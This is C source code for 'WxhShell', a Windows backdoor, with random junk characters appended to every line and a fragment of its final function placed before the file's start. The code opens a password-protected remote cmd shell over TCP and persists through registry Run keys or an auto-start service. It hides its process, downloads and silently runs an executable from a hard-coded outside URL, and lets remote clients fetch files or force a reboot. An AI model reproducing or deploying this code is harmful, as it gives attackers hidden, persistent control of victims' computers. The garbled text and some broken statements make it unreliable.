    if(Boot(SHUTDOWN)) ,-vbR&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QApil  
    else { ^ bexXYh  
    closesocket(wsh); %_(e{Mf)  
    ExitThread(0); bEMD2ABm  
    } <FRYt-+  
    break; ^^{K[sLB  
    } :&/'rMi<T  
  // 获取shell a^@6hC>sr  
  case 's': { u1~H1 ]Ii  
    CmdShell(wsh); ("}TW-r~  
    closesocket(wsh); 2pQ zT  
    ExitThread(0); KWLI7fTgj$  
    break; W+cmn)8  
  } \{\*h/m  
  // 退出 l7ZqkGG]  
  case 'x': { 'Wn'BRXq3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =d!3_IZ  
    CloseIt(wsh); qdx(wGG  
    break; & VJ+X|Z  
    } &j<B22t!  
  // 离开 jav7V"$  
  case 'q': { ^{T]sv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?<k s^2D  
    closesocket(wsh); QaH32(iH  
    WSACleanup(); $>hPB[[  
    exit(1); 7.,C'^ci  
    break; _s[ohMlh  
        } FMc$?mm  
  } l:-$ulAx  
  } 2`9e20  
~Y7>P$G)  
  // 提示信息 fZw/kjx@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2-s ,PQno^  
} i+ ]3J/J  
  } )\s{\u \  
&G\Vn,1v  
  return; mSm:>hBd  
} Hz ) Xn\x  
LUc!a4i"fO  
// shell模块句柄 v6uR[18  
int CmdShell(SOCKET sock) mEeD[dMN  
{ s;Q0  
STARTUPINFO si;  O{R)0&  
ZeroMemory(&si,sizeof(si)); t6DgWKT6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %CV@FdB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BCMQ^hP}t  
PROCESS_INFORMATION ProcessInfo; G8z.JX-7g  
char cmdline[]="cmd"; MKPxF@N(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H(Pzo+k*  
  return 0; d0``:  
} fUx;_GX?  
@rI+.X  
// 自身启动模式 !k@ (}CN_*  
int StartFromService(void) I!1|);li  
{ l7 Pn5c  
typedef struct ~ES6Qw`Oe  
{ ~8:q-m_h  
  DWORD ExitStatus; i ]x_W@h  
  DWORD PebBaseAddress; ~+|Vzm|S}  
  DWORD AffinityMask; yAD-sy +/  
  DWORD BasePriority; \GYrP f$  
  ULONG UniqueProcessId; gr1NcHu  
  ULONG InheritedFromUniqueProcessId; tf[)Q:|  
}   PROCESS_BASIC_INFORMATION; a;bmZh  
ZDny=&>#  
PROCNTQSIP NtQueryInformationProcess; *Tc lc u  
e_=TkG1E6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; StLFq6BO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8! eYax   
[GQn1ZLc  
  HANDLE             hProcess; FxU a5 n  
  PROCESS_BASIC_INFORMATION pbi; Fi)(~ji:  
RK )1@Tz7!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <ks+JkW_  
  if(NULL == hInst ) return 0; Hq$&rNnq\  
{$qE>ic  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M/?eDW/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &~=FX e0S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _cvA1Q"  
tVQq,_9C  
  if (!NtQueryInformationProcess) return 0; $,u>,  
*!oV?N[eA'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yo%ph%e  
  if(!hProcess) return 0; .fFXH  
4j|IG/m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y'L7o V?L9  
FQTAkkA_!  
  CloseHandle(hProcess); q"(b}3  
 )OHGg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #{_iNra9  
if(hProcess==NULL) return 0; (vP<}  
2$r8^}Nj?  
HMODULE hMod; ibH!bS{  
char procName[255]; hXnfZx%  
unsigned long cbNeeded; A(eB\qG  
ZSWZz8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H^ 'As;R  
n)|{tb^  
  CloseHandle(hProcess); V82HO{ D  
S5o,\wT  
if(strstr(procName,"services")) return 1; // 以服务启动 eWWqK9B.-  
] M`%@ps  
  return 0; // 注册表启动 ylm # Xa  
} 3 C{A  
PI\C*_.  
// 主模块 _mWVZ1P  
int StartWxhshell(LPSTR lpCmdLine)  T<oDLJA\  
{ @eJ6UML"  
  SOCKET wsl; w**~k]In  
BOOL val=TRUE; 3D;?X@  
  int port=0; t)|~8xpP  
  struct sockaddr_in door; <@Z`<T6  
R1$s1@3I|  
  if(wscfg.ws_autoins) Install(); E$.fAIt  
UpaF>,kM  
port=atoi(lpCmdLine); `L LS|S]  
\VpN:RI  
if(port<=0) port=wscfg.ws_port; }7*|s+F(f  
'B:8tv  
  WSADATA data; (/7b8)g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o_8Wnx^  
av&~A+b .r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v-Tkp Yn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j(A>M_f;  
  door.sin_family = AF_INET; 3{)!T;Wd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?;VsA>PV  
  door.sin_port = htons(port); +=:_a$98  
`>0%Ha   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 577#A,O  
closesocket(wsl); 3n,jrX75u  
return 1; cO$xT;kK  
} |k$6"dXSO  
P!Brw72  
  if(listen(wsl,2) == INVALID_SOCKET) { Q5c3C &$6  
closesocket(wsl); /!?b&N/d)  
return 1; EHy15RL  
} D V\7KKJE  
  Wxhshell(wsl); Mz6\T'rC  
  WSACleanup(); X1HEeJ|  
7Kf  
return 0; i#98KzE  
>AFQm  
} <Drm#2x!E  
yg.o?eML  
// 以NT服务方式启动 ~&?57Sw*m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X J`*dgJ  
{ Xdi<V_!BC-  
DWORD   status = 0; qV9}N-sS  
  DWORD   specificError = 0xfffffff; $PG(>1e  
Qs '_\|/-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v w 6$v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `dw">z,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; egK~w8`W%  
  serviceStatus.dwWin32ExitCode     = 0; "cyRzQ6EH  
  serviceStatus.dwServiceSpecificExitCode = 0; iX o(  
  serviceStatus.dwCheckPoint       = 0; -AD@wn!wCJ  
  serviceStatus.dwWaitHint       = 0; uwQgu!|x  
qfG:v Tm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nw9@E R  
  if (hServiceStatusHandle==0) return; uh2 F r  
^&D5J\][  
status = GetLastError(); _&~l,%)&  
  if (status!=NO_ERROR) ,hH c -%-  
{ ;*'I&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e^em^1H( %  
    serviceStatus.dwCheckPoint       = 0; X::@2{-@y  
    serviceStatus.dwWaitHint       = 0; w$IUm_~waa  
    serviceStatus.dwWin32ExitCode     = status; Nyt*mbd5 {  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~j>yQ%[v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9N `WT=  
    return; X!:J1'FE  
  } #]dq^B~~  
gg.]\#3g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @ <3E `j'p  
  serviceStatus.dwCheckPoint       = 0; DXG`%<ZMn  
  serviceStatus.dwWaitHint       = 0; X~UL$S;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pV(k6h  
} Ell14Iki  
'z^'+}iyv  
// 处理NT服务事件,比如:启动、停止 Ypl;jkHP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^^&H:q  
{  LtH j  
switch(fdwControl) r95 ,X!  
{ T ay226  
case SERVICE_CONTROL_STOP: zJP jsD]  
  serviceStatus.dwWin32ExitCode = 0; ? V1ik[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; De>e`./56  
  serviceStatus.dwCheckPoint   = 0; r!1f>F*dt  
  serviceStatus.dwWaitHint     = 0; "f8,9@  
  { hP8w3gl_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0r_~LN^|[  
  } Oe x   
  return; JN:L%If  
case SERVICE_CONTROL_PAUSE: BdMd\1eMw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H#7=s{u  
  break; *Lxt{z`9  
case SERVICE_CONTROL_CONTINUE: c0Bqm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wm^1Fn--  
  break; }-sh  
case SERVICE_CONTROL_INTERROGATE: SOE-Kio=B  
  break; F53 .g/[  
}; %f'=9pit  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I{0cnq/  
} tvf5b8(Y-  
FAL#p$y}  
// 标准应用程序主函数 o2B|r`R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >?OUs>}3y2  
{ P>u2""c  
*^Zt)U1$|  
// 获取操作系统版本 NC!B-3?x  
OsIsNt=GetOsVer(); L-)ZjXzk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xOPQ~J|z  
cLp_\\  
  // 从命令行安装 5 =8v\q?)c  
  if(strpbrk(lpCmdLine,"iI")) Install(); t\LE\[XM>  
50dN~(;p  
  // 下载执行文件 )b (+=  
if(wscfg.ws_downexe) { \BH?GMoP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @{#'y4\>  
  WinExec(wscfg.ws_filenam,SW_HIDE); P=1K u|k  
} WY QVe_<z:  
@67GVPcxl  
if(!OsIsNt) { Y'jgp Vt  
// 如果时win9x,隐藏进程并且设置为注册表启动 9mp`LT  
HideProc(); ~CHcbEWk)W  
StartWxhshell(lpCmdLine); |EdEV*.ej  
} n:B){'S  
else jbq x7x  
  if(StartFromService()) <m^a ?q^  
  // 以服务方式启动 @{{L1[~:0  
  StartServiceCtrlDispatcher(DispatchTable); WV'u}-v^  
else :CezkD&  
  // 普通方式启动 +|b#|>6  
  StartWxhshell(lpCmdLine); 6w? GeJ  
n^$Q^[:Z  
return 0; @`+\v mfD  
} Tc!n@!RA|  
_VjaTw8iM  
Nt_sV7zzb  
A$7K5   
=========================================== /2E Q:P  
}f_@@#KB?  
#g@4c3um|  
a!4p$pR  
y{<js!au  
Vt \g9-[  
" h8%QF'C  
nh0gT>a>@  
#include <stdio.h> <+r~?X_  
#include <string.h> 8+7*> FD)1  
#include <windows.h> RTvOaZ  
#include <winsock2.h> (e~9T MY  
#include <winsvc.h> |OAiHSW"V  
#include <urlmon.h> BMQ4i&kF|  
~N}Zr$D  
#pragma comment (lib, "Ws2_32.lib") 4,W,E4 7  
#pragma comment (lib, "urlmon.lib") cZ !$XXA`  
_1O .{O  
#define MAX_USER   100 // 最大客户端连接数 qhG2j;  
#define BUF_SOCK   200 // sock buffer mJd8?d  
#define KEY_BUFF   255 // 输入 buffer "[k>pzl6  
yMM2us#*+q  
#define REBOOT     0   // 重启 b@=H$"  
#define SHUTDOWN   1   // 关机 ]8OmYU%6V  
Ake l.&  
#define DEF_PORT   5000 // 监听端口 LjEMs\P\  
P.Cn[64a+@  
#define REG_LEN     16   // 注册表键长度 6C"zBJcGc  
#define SVC_LEN     80   // NT服务名长度 y xT}hMa  
RrH{Y0  
// 从dll定义API |H,WFw1%}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [>_zV.X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9bRUN<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E}F-*go  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [-"ZuUG  
:6%ivS  
// wxhshell配置信息 IO7gq+  
struct WSCFG { A /c  
  int ws_port;         // 监听端口 /E{tNd^S  
  char ws_passstr[REG_LEN]; // 口令 LkK&<z  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Vb5d!(  
  char ws_regname[REG_LEN]; // 注册表键名 G#f3 WpD  
  char ws_svcname[REG_LEN]; // 服务名 8 l= EL7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hyJ&~i0P{J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NOoF1kS+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R=48:XG3/K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fWWB]h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GV ) "[O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }#M>CNi'PU  
#H |p)2k  
}; z19%!k  
C|g1:#0  
// default Wxhshell configuration ]oz>/\!  
struct WSCFG wscfg={DEF_PORT, qf ]le]J  
    "xuhuanlingzhe", I*JJvqh  
    1, F\&^(EL  
    "Wxhshell", P.k>6T<U>  
    "Wxhshell", UUbO\_&y  
            "WxhShell Service", [AIqKyIr  
    "Wrsky Windows CmdShell Service", 9m_~Zs}Z  
    "Please Input Your Password: ", _ MB/p  
  1, kef% 5B  
  "http://www.wrsky.com/wxhshell.exe", 0 |?N  
  "Wxhshell.exe" 1^GRUbOU[  
    }; @q># ]8  
xQzW6H|  
// 消息定义模块 lgK5E *^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %|:j=/_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,CPAS}kS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LH @B\ mS  
char *msg_ws_ext="\n\rExit."; iFcSz  
char *msg_ws_end="\n\rQuit."; 6@47%%,}  
char *msg_ws_boot="\n\rReboot..."; Wlq3r#  
char *msg_ws_poff="\n\rShutdown..."; "+`u ]  
char *msg_ws_down="\n\rSave to "; "Y5 :{Kj  
J{kS4v*J  
char *msg_ws_err="\n\rErr!"; T%Cj#J&L  
char *msg_ws_ok="\n\rOK!"; z?VjlA(X  
YwZx{%f  
char ExeFile[MAX_PATH]; 4s'%BM-r-  
int nUser = 0; 5{iNR4sq  
HANDLE handles[MAX_USER]; /[/{m]  
int OsIsNt; <"3${'$k`  
PBEi"`i  
SERVICE_STATUS       serviceStatus; u#y)+A2&!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (|<+yQ,@>  
car|&b  
// 函数声明 >o`+j$j  
int Install(void); #4"eQ*.*"  
int Uninstall(void); =(P$P  
int DownloadFile(char *sURL, SOCKET wsh); 0Y0`$   
int Boot(int flag); <s|.2~  
void HideProc(void); )Spa F)N8  
int GetOsVer(void); 9B83HV4J  
int Wxhshell(SOCKET wsl); XN?my@_HpM  
void TalkWithClient(void *cs); BNb_i H  
int CmdShell(SOCKET sock); 7Lj:m.0O^  
int StartFromService(void); ]c|JxgU  
int StartWxhshell(LPSTR lpCmdLine); s`[V{1m,  
I 0x;rP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qgf|obrEi6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t,0}}9%?  
s[/d}S@ >  
// 数据结构和表定义 hPGDN\#LD  
SERVICE_TABLE_ENTRY DispatchTable[] =  rf'A+q  
{ mF4OLG3L0  
{wscfg.ws_svcname, NTServiceMain}, eOXu^M>:F  
{NULL, NULL} 55] MRv  
}; e.XD5~Ax  
Nr)DU.f  
// 自我安装 MU `!s b*  
int Install(void) ER[$TH&  
{ {,T=Siy  
  char svExeFile[MAX_PATH]; gX n `!  
  HKEY key; Zn Rj}y  
  strcpy(svExeFile,ExeFile); $/(``8li_  
CO@ kLI  
// 如果是win9x系统,修改注册表设为自启动 k!$$ *a*  
if(!OsIsNt) { Uqj$itqUQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a~JZc<ze  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *r9D+}Y(4  
  RegCloseKey(key); V,[[# a)y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M\JAB ;A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )?l7I*  
  RegCloseKey(key); 0lOan  
  return 0; ma) + G!  
    } jG}nOI  
  }  _PwPLSg  
} WHLTJ]OB  
else { vtK.7AF  
VtU2&  
// 如果是NT以上系统,安装为系统服务 B(eiRr3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C+t|fSJ  
if (schSCManager!=0) d:cOdm>,  
{ dPV<:uO  
  SC_HANDLE schService = CreateService mT|r:Yr:  
  ( ?LvU7  
  schSCManager, Zk|PQfi+  
  wscfg.ws_svcname, !kh:zTP  
  wscfg.ws_svcdisp, z`u$C+Ov  
  SERVICE_ALL_ACCESS, Gtvbm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @cx#'  
  SERVICE_AUTO_START, I-kK^_0mV<  
  SERVICE_ERROR_NORMAL, >*+n`"6  
  svExeFile, w=ufJR j  
  NULL, 0dD.xuor  
  NULL, S~|\bnE  
  NULL, cmd7-2  
  NULL, x%W~@_  
  NULL I.SMn,N  
  ); 6vU%Y_n=y]  
  if (schService!=0) :Z83*SPc  
  { }<'ki ;  
  CloseServiceHandle(schService); )W vOa] :  
  CloseServiceHandle(schSCManager); P/k#([:2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1n.F`%YG  
  strcat(svExeFile,wscfg.ws_svcname); <p` F/p-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \,!Qo*vj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); onv0gb/J  
  RegCloseKey(key); &*Kk> 4  
  return 0; ybIqn0&[  
    } .i#'IS0c  
  } "b)EH/ s  
  CloseServiceHandle(schSCManager); Y%(8'Ch  
} &v:[+zw  
} 6J -=6t|  
4:s,e<Tc4v  
return 1; yi-0CHo  
} 6mxzE3?G  
x4?g>v*J  
// 自我卸载 9R[P pE''  
int Uninstall(void) I(/*pa?m{  
{ diKl}V#u  
  HKEY key; 8\?H`NN  
g/w <T+v  
if(!OsIsNt) { |h.@Xy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lxR]Bh+  
  RegDeleteValue(key,wscfg.ws_regname); _+Pz~_+kS  
  RegCloseKey(key); F$YT4414  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !bn=b>+  
  RegDeleteValue(key,wscfg.ws_regname); Nr*o RYY  
  RegCloseKey(key); ))7CqN  
  return 0; [[ll4|  
  } Y44[2 :m  
} *3fhVl=8^*  
} -x!JTx[K  
else { >5 2%^ ?  
;[:IC^9fv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fg i;%  
if (schSCManager!=0) IGA4"\s  
{ "=2'Oqp1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `2M*?.vk  
  if (schService!=0) $OzVo&P;  
  { >h$Q%w{V  
  if(DeleteService(schService)!=0) { K d{o/R  
  CloseServiceHandle(schService); jq_ i&~S  
  CloseServiceHandle(schSCManager); !-JvVdM;(  
  return 0; zu,Yuq  
  } E!=Iz5  
  CloseServiceHandle(schService); Wo5%@C#M  
  } tLP Er@  
  CloseServiceHandle(schSCManager);  ;B{oGy.  
} `~N jBtQ  
} ,@zw  
p& Kfy~  
return 1; *bzqH2h8  
} HNLr} Yj  
&_\;p-1:  
// 从指定url下载文件 CF : !  
int DownloadFile(char *sURL, SOCKET wsh) 5inCAPXz  
{ +DE;aGQ.z?  
  HRESULT hr; /RWD\u<l  
char seps[]= "/"; fk\]wFj  
char *token; a>,Zp*V(  
char *file; yqP=6   
char myURL[MAX_PATH]; j_z@VT}y  
char myFILE[MAX_PATH]; k+hl6$:Qj%  
#JN4K>_4  
strcpy(myURL,sURL); XQ8q)B=  
  token=strtok(myURL,seps); X(Z(cY(  
  while(token!=NULL) `$vf9'\+  
  { uXb} o UC  
    file=token;  } #&L  
  token=strtok(NULL,seps); `$3ktQ$  
  }  6NSSuK3  
:`uu[^  
GetCurrentDirectory(MAX_PATH,myFILE); C 1)+^{7ef  
strcat(myFILE, "\\"); _v++NyZXx  
strcat(myFILE, file); aq#F  
  send(wsh,myFILE,strlen(myFILE),0); >4os%T  
send(wsh,"...",3,0);  SWyJ`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); imB/P M  
  if(hr==S_OK) ,R=$ qi|  
return 0; _9?v?mL5;  
else 3\cx(  
return 1; OLoo#HW  
7G0;_f{  
} ^)h&s*  
3ug~m-_  
// 系统电源模块 NLUiNfCR  
int Boot(int flag) XD80]@\za  
{ {Z178sik  
  HANDLE hToken; Rm~8n;7oOr  
  TOKEN_PRIVILEGES tkp; )19#g1rn5  
fUPYCw6F  
  if(OsIsNt) { c{qTVi5e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8<@X=Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9#kk5)J  
    tkp.PrivilegeCount = 1; O'QnfpQ*9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 12: Q`   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XEN-V-Z%*  
if(flag==REBOOT) { y. (m#&T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *:`fgaIDa  
  return 0; Nnoj6+b  
} (!Xb8rV0_  
else { VFm)!'=I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K cW 5  
  return 0; Q5_,`r`  
} 15%6;K?b  
  } w{N8Y ~O  
  else { Pon0(:#1  
if(flag==REBOOT) { ;alt%:$n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~RZN+N  
  return 0; nP|ah~ q  
} ngk:q5Tp  
else { v?n# C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p4kK" \ln  
  return 0; +U?73cYN  
} 2#cw_Ua  
} B~,?Gbl+g  
/;xrd\du  
return 1; +?{LLD*2e  
} /AY q^  
K <WowU  
// win9x进程隐藏模块 =l6W O*  
void HideProc(void) ,'sDauFn  
{ _ozg=n2(  
/nEK|.j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UWdqcOr  
  if ( hKernel != NULL ) A;f)`i0l,  
  { mxe\+j#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); > kwhZ/x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "chf \ -!$  
    FreeLibrary(hKernel); ^x_.3E3Q  
  } x}x)h3e  
>)mF'w  
return; L3j ~Ooo  
} S(rnVsW%Ki  
dkSd Y+Q  
// 获取操作系统版本 YfNN&G4_  
int GetOsVer(void) Iv{iJoe;UH  
{ QD1&"T<.d.  
  OSVERSIONINFO winfo; IWwOP{ <ZQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t{B6W)q  
  GetVersionEx(&winfo); {7v|\6@e3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zB\ 8<97 C  
  return 1; jP<6Q|5F  
  else TPY&O{ q  
  return 0; u{dkUG1ia  
} u/N_62sk5  
dN){w _  
// 客户端句柄模块 @9k3}x K  
int Wxhshell(SOCKET wsl) =w:H9uj6F  
{ ]eTp?q%0  
  SOCKET wsh; ol`q7i.  
  struct sockaddr_in client; &?gcnMg$,J  
  DWORD myID; 8-smL^~%#  
y;O 6q206  
  while(nUser<MAX_USER) 49Y:}<Yd   
{ 'uwq^b_  
  int nSize=sizeof(client); Oe^9pH,1t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -vt6n1A&b  
  if(wsh==INVALID_SOCKET) return 1; ' |M} 3sL  
:73T9/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R80|q#h,]  
if(handles[nUser]==0) Eh"Y<]$  
  closesocket(wsh); ?pA_/wwp  
else e`5:46k|  
  nUser++; =Hj3o_g-  
  } -ilhC Y@M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vJW`aN1<I3  
7mb5z/N  
  return 0; m 7+=w>o  
} <&4~Z! O  
3[~LmA  
// 关闭 socket _sHeB7K  
void CloseIt(SOCKET wsh) dp3TJZ+U  
{ n9 Jev_!A  
closesocket(wsh); G)""^YB-  
nUser--; c{T)31ldW  
ExitThread(0); F-$NoEL  
} 48!F!v,j)x  
]!@!qp@  
// 客户端请求句柄 J.0&gP V  
void TalkWithClient(void *cs) TJ,?C$3  
{ F[fs^Q6S$  
h@s i)5"  
  SOCKET wsh=(SOCKET)cs; T{BGg  
  char pwd[SVC_LEN]; #O'g*]j  
  char cmd[KEY_BUFF]; YKx+z[A/p  
char chr[1]; \;"S>dg  
int i,j; F<)f&<5E-  
)EN ,Ry  
  while (nUser < MAX_USER) { 26j-1c!NGd  
`EiL~*  
if(wscfg.ws_passstr) { W5&KmA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rj<-sfs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >waA\C}  
  //ZeroMemory(pwd,KEY_BUFF); _G)x\K]N  
      i=0; -1R7 8(1  
  while(i<SVC_LEN) { 2%]#rZ  
`Cu9y+t  
  // 设置超时 . ;D'  
  fd_set FdRead; ^brh\M,:@  
  struct timeval TimeOut; o K&G  
  FD_ZERO(&FdRead); ;47=x1j i  
  FD_SET(wsh,&FdRead); "&mwrjn"T  
  TimeOut.tv_sec=8; HZ\=NDz  
  TimeOut.tv_usec=0; +H!aE}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  GU xhn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I#zL-RXT  
E7]a#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (. ,{x)H  
  pwd=chr[0]; `oE.$~'  
  if(chr[0]==0xd || chr[0]==0xa) { "fSK7%BP  
  pwd=0; vNU[K%U  
  break; HA0yX?f]  
  } n$"B F\eM  
  i++; zG&yu0;D6  
    } 1rh2!4)7  
ay28%[Q b4  
  // 如果是非法用户,关闭 socket o1Wf#Zq   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r;fcBepO  
} ?gXdi<2Qn  
,9 .NMFn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yLt>OA<X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yGb^kR}d  
x2g=%K=  
while(1) { ~hU^5R-%  
m=]}Tn  
  ZeroMemory(cmd,KEY_BUFF); x}N1Wl=8g  
}cg 1CT5  
      // 自动支持客户端 telnet标准   Zg >!5{T  
  j=0; TI3@/SB>  
  while(j<KEY_BUFF) { 6Kd,(DI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "o<&3c4  
  cmd[j]=chr[0]; {^K&9sz  
  if(chr[0]==0xa || chr[0]==0xd) { e73zpF  
  cmd[j]=0; HOVzpj  
  break; 0&2&F=fOa<  
  } $H7T|`WI.,  
  j++; a3BlydSlf  
    } 0ac'<;9]zP  
ybgw#jv=  
  // 下载文件 NW?h~2  
  if(strstr(cmd,"http://")) { |JCn=v@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K.6xNQl{}  
  if(DownloadFile(cmd,wsh)) y~+U(-&.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +RD{<~i  
  else |B@\Nf7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .BZ3>]F3<  
  } `~ R%}ID  
  else { &0euNHH;sL  
B,ZLX/c9  
